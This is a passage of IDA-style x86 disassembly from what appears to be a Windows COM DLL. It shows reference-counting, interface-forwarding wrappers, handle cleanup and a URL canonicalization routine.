loc_69B7E99D:				; CODE XREF: sub_69B7E980+14j
		mov	eax, [esi]
		push	edi
		push	esi
		call	dword ptr [eax+4]
		mov	eax, [esi+20h]
		mov	ecx, [eax]
		lea	edx, [ebp+var_8]
		push	edx
		push	(offset	loc_69B2B07C+4)
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B7E9EC
		mov	eax, [ebp+var_8]
		test	eax, eax
		jnz	short loc_69B7E9C9


loc_69B7E9C2:				; CODE XREF: sub_69B7E980+61j
		mov	edi, 80004003h
		jmp	short loc_69B7E9EC
; ---------------------------------------------------------------------------


loc_69B7E9C9:				; CODE XREF: sub_69B7E980+40j
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	eax
		call	dword ptr [ecx+1B0h]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B7E9EC
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B7E9C2
		push	[ebp+arg_0]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+40h]


loc_69B7E9EC:				; CODE XREF: sub_69B7E980+39j
					; sub_69B7E980+47j ...
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B7E9FF
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7E9FF:				; CODE XREF: sub_69B7E980+77j
		mov	eax, [ebp+var_8]
		and	[ebp+var_4], 0
		test	eax, eax
		jz	short loc_69B7EA10
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7EA10:				; CODE XREF: sub_69B7E980+88j
		mov	eax, edi
		pop	edi


loc_69B7EA13:				; CODE XREF: sub_69B7E980+1Bj
		pop	esi
		leave
		retn	4
sub_69B7E980	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7EA18	proc near		; DATA XREF: .text:69B1C768o
					; .text:69B1C778o ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	10h
		call	sub_69B11E44
		test	eax, eax
		jz	short loc_69B7EA34
		push	0
		push	0
		mov	ecx, eax
		call	sub_69B8215B
		mov	esi, eax
		jmp	short loc_69B7EA36
; ---------------------------------------------------------------------------


loc_69B7EA34:				; CODE XREF: sub_69B7EA18+Bj
		xor	esi, esi


loc_69B7EA36:				; CODE XREF: sub_69B7EA18+1Aj
		test	esi, esi
		jnz	short loc_69B7EA41
		mov	edi, 8007000Eh
		jmp	short loc_69B7EA5A
; ---------------------------------------------------------------------------


loc_69B7EA41:				; CODE XREF: sub_69B7EA18+20j
		push	[esp+8+arg_4]
		mov	eax, [esi]
		push	[esp+0Ch+arg_0]
		push	esi
		call	dword ptr [eax]
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B7EA5A
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B7EA5A:				; CODE XREF: sub_69B7EA18+27j
					; sub_69B7EA18+3Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn	8
sub_69B7EA18	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7EA61	proc near		; CODE XREF: sub_69B7FB0F+21Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		lea	edx, [ebp+var_4]
		push	edx
		xor	ebx, ebx
		push	offset dword_69B2B040
		mov	edi, ecx
		mov	ecx, [eax]
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], ebx
		call	dword ptr [ecx]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jl	loc_69B7EB7D
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		lea	edx, [ebp+var_8]
		push	edx
		push	(offset	loc_69B2B07C+4)
		push	offset dword_69B2AEF0
		push	eax
		call	dword ptr [ecx+0Ch]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jl	loc_69B7EB74
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		lea	edx, [ebp+var_C]
		push	edx
		push	eax
		call	dword ptr [ecx+0A0h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		cmp	[ebp+arg_0], ebx
		jl	loc_69B7EB74
		push	esi
		push	1048h
		call	sub_69B11E44
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_69B7EB14
		push	10000000h
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		push	[ebp+var_C]
		mov	[ebp+var_10], 824h
		call	ds:UrlCanonicalizeW	; UrlCanonicalizeW
		push	esi		; OLECHAR *
		call	SysAllocString
		push	esi
		mov	[edi+0Ch], eax
		call	sub_69B1B2B7


loc_69B7EB14:				; CODE XREF: sub_69B7EA61+87j
		cmp	[edi+0Ch], ebx
		jnz	short loc_69B7EB20
		mov	[ebp+arg_0], 8007000Eh


loc_69B7EB20:				; CODE XREF: sub_69B7EA61+B6j
		push	[ebp+var_C]	; BSTR
		call	SysFreeString
		cmp	[ebp+arg_0], ebx
		jl	short loc_69B7EB73
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		lea	esi, [edi+10h]
		push	esi
		mov	eax, offset stru_69B2AF10
		push	eax
		push	eax
		push	ecx
		call	dword ptr [edx+0Ch]
		mov	esi, [esi]
		cmp	esi, ebx
		jz	short loc_69B7EB73
		lea	ecx, [ebp+var_10]
		push	ecx
		push	offset stru_69B1CA6C
		mov	[edi+14h], ebx
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax]
		test	eax, eax
		jge	short loc_69B7EB66
		mov	dword ptr [edi+14h], 1
		jmp	short loc_69B7EB73
; ---------------------------------------------------------------------------


loc_69B7EB66:				; CODE XREF: sub_69B7EA61+FAj
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jz	short loc_69B7EB73
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7EB73:				; CODE XREF: sub_69B7EA61+CBj
					; sub_69B7EA61+E5j ...
		pop	esi


loc_69B7EB74:				; CODE XREF: sub_69B7EA61+4Dj
					; sub_69B7EA61+72j
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7EB7D:				; CODE XREF: sub_69B7EA61+2Bj
		mov	eax, [ebp+arg_0]
		pop	edi
		pop	ebx
		leave
		retn	4
sub_69B7EA61	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7EB86	proc near		; CODE XREF: sub_69B7FAF4+3p
		push	esi
		mov	esi, ecx
		push	edi
		mov	dword ptr [esi], offset	off_69B14620
		mov	dword ptr [esi+4], offset off_69B2A740
		mov	dword ptr [esi+8], offset off_69B2A720
		mov	dword ptr [esi+0Ch], offset off_69B2A6C0
		mov	dword ptr [esi+10h], offset off_69B2A6B0
		mov	dword ptr [esi+14h], offset off_69B2A6A4
		mov	dword ptr [esi+18h], offset off_69B2A698
		call	sub_69B7E6D3
		mov	eax, [esi+24h]
		xor	edi, edi
		cmp	eax, edi
		jz	short loc_69B7EBCE
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7EBCE:				; CODE XREF: sub_69B7EB86+40j
		mov	eax, [esi+28h]
		cmp	eax, edi
		mov	[esi+24h], edi
		jz	short loc_69B7EBDE
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7EBDE:				; CODE XREF: sub_69B7EB86+50j
		mov	eax, [esi+2Ch]
		cmp	eax, edi
		mov	[esi+28h], edi
		jz	short loc_69B7EBEE
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7EBEE:				; CODE XREF: sub_69B7EB86+60j
		mov	eax, [esi+20h]
		cmp	eax, edi
		mov	[esi+2Ch], edi
		jz	short loc_69B7EBFE
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7EBFE:				; CODE XREF: sub_69B7EB86+70j
		mov	eax, [esi+3Ch]
		cmp	eax, edi
		mov	[esi+20h], edi
		jz	short loc_69B7EC0E
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7EC0E:				; CODE XREF: sub_69B7EB86+80j
		mov	eax, [esi+30h]
		cmp	eax, edi
		mov	[esi+3Ch], edi
		jz	short loc_69B7EC22
		push	eax		; hObject
		call	ds:CloseHandle	; CloseHandle
		mov	[esi+30h], edi


loc_69B7EC22:				; CODE XREF: sub_69B7EB86+90j
		push	offset dword_69B9B684 ;	lpAddend
		call	ds:InterlockedDecrement	; InterlockedDecrement
		cmp	dword_69B9B684,	edi
		pop	edi
		pop	esi
		jnz	sub_69B2C65C
		call	sub_69B1E533
		jmp	sub_69B2C65C
sub_69B7EB86	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7EC45	proc near		; DATA XREF: .text:69B2A6CCo

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+14h]
		mov	ecx, [eax]
		push	edi
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B160
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B7EC8C
		cmp	[ebp+var_4], 0
		jz	short loc_69B7EC99
		add	esi, 0FFFFFFF4h
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		mov	eax, [ebp+var_4]
		push	[ebp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	edi, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B7EC8C:				; CODE XREF: sub_69B7EC45+22j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B7EC99
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7EC99:				; CODE XREF: sub_69B7EC45+28j
					; sub_69B7EC45+4Cj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	8
sub_69B7EC45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7ECA1	proc near		; DATA XREF: .text:69B2A6D0o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+14h]
		mov	ecx, [eax]
		push	edi
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B160
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B7ECE8
		cmp	[ebp+var_4], 0
		jz	short loc_69B7ECF5
		add	esi, 0FFFFFFF4h
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		mov	eax, [ebp+var_4]
		push	[ebp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+10h]
		mov	edi, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B7ECE8:				; CODE XREF: sub_69B7ECA1+22j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B7ECF5
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7ECF5:				; CODE XREF: sub_69B7ECA1+28j
					; sub_69B7ECA1+4Cj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	8
sub_69B7ECA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7ECFD	proc near		; DATA XREF: .text:69B2A6D4o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+14h]
		mov	ecx, [eax]
		push	edi
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B160
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B7ED47
		cmp	[ebp+var_4], 0
		jz	short loc_69B7ED54
		add	esi, 0FFFFFFF4h
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		push	[ebp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+14h]
		mov	edi, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B7ED47:				; CODE XREF: sub_69B7ECFD+22j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B7ED54
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7ED54:				; CODE XREF: sub_69B7ECFD+28j
					; sub_69B7ECFD+4Fj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_69B7ECFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7ED5C	proc near		; DATA XREF: .text:69B2A6DCo

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+14h]
		mov	ecx, [eax]
		push	edi
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B160
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B7EDA6
		cmp	[ebp+var_4], 0
		jz	short loc_69B7EDB3
		add	esi, 0FFFFFFF4h
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		push	[ebp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+1Ch]
		mov	edi, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B7EDA6:				; CODE XREF: sub_69B7ED5C+22j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B7EDB3
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7EDB3:				; CODE XREF: sub_69B7ED5C+28j
					; sub_69B7ED5C+4Fj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_69B7ED5C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7EDBB	proc near		; DATA XREF: .text:69B2A6E0o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+14h]
		mov	ecx, [eax]
		push	edi
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B160
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B7EE08
		cmp	[ebp+var_4], 0
		jz	short loc_69B7EE15
		add	esi, 0FFFFFFF4h
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		push	[ebp+arg_C]
		mov	eax, [ebp+var_4]
		push	[ebp+arg_8]
		mov	ecx, [eax]
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx+20h]
		mov	edi, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B7EE08:				; CODE XREF: sub_69B7EDBB+22j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B7EE15
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7EE15:				; CODE XREF: sub_69B7EDBB+28j
					; sub_69B7EDBB+52j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	10h
sub_69B7EDBB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7EE1D	proc near		; DATA XREF: .text:69B2A6E4o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+14h]
		mov	ecx, [eax]
		push	edi
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B160
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B7EE6A
		cmp	[ebp+var_4], 0
		jz	short loc_69B7EE77
		add	esi, 0FFFFFFF4h
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		push	[ebp+arg_C]
		mov	eax, [ebp+var_4]
		push	[ebp+arg_8]
		mov	ecx, [eax]
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx+24h]
		mov	edi, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B7EE6A:				; CODE XREF: sub_69B7EE1D+22j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B7EE77
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7EE77:				; CODE XREF: sub_69B7EE1D+28j
					; sub_69B7EE1D+52j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	10h
sub_69B7EE1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7EE7F	proc near		; DATA XREF: .text:69B2A6E8o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+14h]
		mov	ecx, [eax]
		push	edi
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B160
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B7EEC9
		cmp	[ebp+var_4], 0
		jz	short loc_69B7EED6
		add	esi, 0FFFFFFF4h
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		push	[ebp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+28h]
		mov	edi, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B7EEC9:				; CODE XREF: sub_69B7EE7F+22j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B7EED6
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7EED6:				; CODE XREF: sub_69B7EE7F+28j
					; sub_69B7EE7F+4Fj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_69B7EE7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7EEDE	proc near		; DATA XREF: .text:69B2A6ECo

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+14h]
		mov	ecx, [eax]
		push	edi
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B160
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B7EF34
		cmp	[ebp+var_4], 0
		jz	short loc_69B7EF41
		add	esi, 0FFFFFFF4h
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		push	[ebp+arg_18]
		mov	eax, [ebp+var_4]
		push	[ebp+arg_14]
		mov	ecx, [eax]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx+2Ch]
		mov	edi, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B7EF34:				; CODE XREF: sub_69B7EEDE+22j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B7EF41
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7EF41:				; CODE XREF: sub_69B7EEDE+28j
					; sub_69B7EEDE+5Bj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	1Ch
sub_69B7EEDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7EF49	proc near		; DATA XREF: .text:69B2A6F0o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+14h]
		mov	ecx, [eax]
		push	edi
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B160
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B7EF90
		cmp	[ebp+var_4], 0
		jz	short loc_69B7EF9D
		add	esi, 0FFFFFFF4h
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		mov	eax, [ebp+var_4]
		push	[ebp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+30h]
		mov	edi, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B7EF90:				; CODE XREF: sub_69B7EF49+22j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B7EF9D
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7EF9D:				; CODE XREF: sub_69B7EF49+28j
					; sub_69B7EF49+4Cj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	8
sub_69B7EF49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7EFA5	proc near		; DATA XREF: .text:69B2A6F4o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+14h]
		mov	ecx, [eax]
		push	edi
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B160
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B7EFE9
		cmp	[ebp+var_4], 0
		jz	short loc_69B7EFF6
		add	esi, 0FFFFFFF4h
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+34h]
		mov	edi, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B7EFE9:				; CODE XREF: sub_69B7EFA5+22j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B7EFF6
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7EFF6:				; CODE XREF: sub_69B7EFA5+28j
					; sub_69B7EFA5+49j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	4
sub_69B7EFA5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7EFFE	proc near		; DATA XREF: .text:69B2A6F8o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+14h]
		mov	ecx, [eax]
		push	edi
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B160
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B7F042
		cmp	[ebp+var_4], 0
		jz	short loc_69B7F04F
		add	esi, 0FFFFFFF4h
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+38h]
		mov	edi, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B7F042:				; CODE XREF: sub_69B7EFFE+22j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B7F04F
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7F04F:				; CODE XREF: sub_69B7EFFE+28j
					; sub_69B7EFFE+49j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	4
sub_69B7EFFE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7F057	proc near		; DATA XREF: .text:69B2A6FCo

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+14h]
		mov	ecx, [eax]
		push	edi
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B160
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B7F09E
		cmp	[ebp+var_4], 0
		jz	short loc_69B7F0AB
		add	esi, 0FFFFFFF4h
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		mov	eax, [ebp+var_4]
		push	[ebp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+3Ch]
		mov	edi, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B7F09E:				; CODE XREF: sub_69B7F057+22j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B7F0AB
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7F0AB:				; CODE XREF: sub_69B7F057+28j
					; sub_69B7F057+4Cj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	8
sub_69B7F057	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7F0B3	proc near		; DATA XREF: .text:69B2A700o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+14h]
		mov	ecx, [eax]
		push	edi
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B160
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B7F0FD
		cmp	[ebp+var_4], 0
		jz	short loc_69B7F10A
		add	esi, 0FFFFFFF4h
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		push	[ebp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+40h]
		mov	edi, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B7F0FD:				; CODE XREF: sub_69B7F0B3+22j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B7F10A
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7F10A:				; CODE XREF: sub_69B7F0B3+28j
					; sub_69B7F0B3+4Fj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_69B7F0B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7F112	proc near		; DATA XREF: .text:69B2A704o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+14h]
		mov	ecx, [eax]
		push	edi
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B160
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B7F15C
		cmp	[ebp+var_4], 0
		jz	short loc_69B7F169
		add	esi, 0FFFFFFF4h
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		push	[ebp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+44h]
		mov	edi, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B7F15C:				; CODE XREF: sub_69B7F112+22j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B7F169
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7F169:				; CODE XREF: sub_69B7F112+28j
					; sub_69B7F112+4Fj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_69B7F112	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7F171	proc near		; DATA XREF: .text:69B2A708o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_0]
